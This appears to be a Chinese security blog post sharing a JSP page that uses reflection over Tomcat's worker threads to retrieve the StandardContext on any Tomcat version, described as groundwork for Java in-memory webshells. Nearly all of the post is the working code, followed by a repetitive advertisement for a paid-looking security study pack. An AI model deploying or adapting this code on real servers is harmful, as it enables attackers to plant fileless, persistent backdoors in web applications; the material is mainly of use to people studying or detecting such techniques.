0x01 具体实现
参考了这篇文章的思路:
Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区,但文中的代码和逻辑均有错误。
我改进优化的代码:
2.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardEngine" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.logging.Logger" %>
<%!
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Logger log3 = Logger.getLogger("113");
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName); // 取得这个类自己定义的所有公开的私有的字段,但是不包括继承的字段
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e) {
//log3.info(e.toString()); //java.lang.NoSuchFieldException
} catch (IllegalAccessException e) {
log3.info(e.toString());
}
clazz = clazz.getSuperclass();
}
return null;
}
public void getStandardContext() {
String ANSI_YELLOW = "\u001B[33m";
String ANSI_GREEN = "\u001B[32m";
String ANSI_RESET = "\u001B[0m";
Logger log2 = Logger.getLogger("113");
log2.info(ANSI_YELLOW + "getStandardContext method ing..." + ANSI_RESET);
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
//log2.info(String.valueOf(threads.length)); //32
for (Thread thread : threads) {
// 过滤掉不相关的线程
if (thread == null || thread.getName().contains("exec")) {
continue;
}
if ((thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) && (thread.getName().contains("http"))) { // thread http-nio-8080-Acceptor
log2.info("thread: " + thread.getName());
Object target = this.getField(thread, "target"); //target org.apache.tomcat.util.net.Acceptor@6698f6ae
log2.info("target: " + target.toString());
HashMap children;
Object jioEndPoint = null;
// Poller 线程
if (thread.getName().contains("Poller")) {
try {
jioEndPoint = getField(target, "this$0"); //等价于 thread.getClass().getDeclaredField("this$0"); // Poller 线程
log2.info("jioEndPoint: " + jioEndPoint.toString());
} catch (Exception e) {
//log2.info(e.toString()); //java.lang.NullPointerException
}
} else
// Acceptor 线程
if (thread.getName().contains("Acceptor")) {
//if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint"); // org.apache.tomcat.util.net.NioEndpoint@4eaaa9
log2.info("jioEndPoint: " + jioEndPoint.toString());
} catch (Exception e) {
log2.warning("异常,准备return " + e.toString());
return;
}
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
log2.info("service: " + service.toString()); // StandardService[Catalina]
StandardEngine engine = null;
try {
// tomcat 6,7,8
engine = (StandardEngine) getField(service, "container");
log2.info("engine: " + engine.toString());
} catch (Exception e) {
//log2.info(e.toString()); //java.lang.NullPointerException
}
if (engine == null) {
// tomcat 9
engine = (StandardEngine) getField(service, "engine"); // StandardEngine[Catalina]
log2.info("engine: " + engine.toString());
}
children = (HashMap) getField(engine, "children"); //{localhost=StandardEngine[Catalina].StandardHost[localhost]}
log2.info("children: " + children.toString());
try {
// 这里使用ip会有问题会走catch的逻辑,也可以都用catch的逻辑代替
StandardHost standardHost = (StandardHost) children.get(this.serverName);
children = (HashMap) getField(standardHost, "children");
log2.info("standardHost: " + standardHost.toString());
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()) {
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))) {
continue;
}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
return;
}
} catch (Exception e) {
// 不管是用 ip 还是 localhost 访问 最终都是走这个逻辑 children.get("localhost");
//log2.info(e.toString()); // java.lang.NullPointerException
StandardHost standardHost = (StandardHost) children.get("localhost");
log2.info("standardHost: " + standardHost.toString());
try {
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()) {
String contextKey = (String) iterator.next();
if (this.uri.startsWith(contextKey) && contextKey != "") {
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext; // StandardEngine[Catalina].StandardHost[localhost].StandardContext[/untitled3_war_exploded]
log2.warning(ANSI_GREEN + "standardContext: " + standardContext.toString() + ANSI_RESET);
return;
}
}
} catch (Exception e2) {
//log2.info(e2.toString()); //java.lang.NoSuchFieldException: children
}
}
}
}
}
public StandardContext getSTC() {
return this.standardContext;
}
%>
<%
String ANSI_RESET = "\u001B[0m";
String ANSI_RED = "\u001B[31m";
String ANSI_GREEN = "\u001B[32m";
String ANSI_YELLOW = "\u001B[33m";
Logger log = Logger.getLogger("main");
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); // tomcat 线程
Object object;
for (Thread thread : threads) {
if (thread == null || thread.getName().contains("exec")) {
continue;
}
log.info(ANSI_RED + "main_thread: " + thread + ANSI_RESET); // 打印 线程 // Thread[main,5,main] // Thread[Monitor Ctrl-Break,5,main]
if (thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) {
Object target = this.getField(thread, "target"); //! target instanceof Runnable
log.info("main_target: " + target);
log.info(String.valueOf(target instanceof Runnable));
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
//log.warning(ANSI_RED+e.toString()+ANSI_RESET); // java.lang.NoSuchFieldException
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req"); // 获取 req 对象
// 过滤 // req: R( null)
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) { // 不是对应的请求时,serverPort = -1
continue;
}
log.info("req: " + req.toString()); // req: R( /untitled3_war_exploded/2.jsp)
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null) {
this.serverName = serverNameMB.toString();
}
if (this.serverName == null) {
this.serverName = serverNameMB.getString();
}
log.info(this.serverName.toString()); // 10.10.40.65
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null) {
this.uri = uriMB.toString();
}
if (this.uri == null) {
this.uri = uriMB.getString();
}
log.info(this.uri.toString());
this.getStandardContext();
}
}
}
%>
0x02 复盘总结
getField(jioEndPoint, "handler").proto.endpoint.poller.selector.keys[0]
(threads[6].target.endpoint.poller.selector.keys).toArray()[0].channel.toString()
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/d9f6991881adcb1e3e690bd10fd6d297.png)
![img](https://img-blog.csdnimg.cn/img_convert/942e4bf13dfbd6b296b82c51e451d126.png)
![img](https://img-blog.csdnimg.cn/img_convert/706cee8dc3aed9a06e8ce3bd2c0d68d5.png)
![img](https://img-blog.csdnimg.cn/img_convert/071c505e799aa5bfde69812ec7997b33.png)
![img](https://img-blog.csdnimg.cn/img_convert/3b249039edaf525253ef37741c16db7f.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
..(img-IYkdmKW1-1715881543180)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**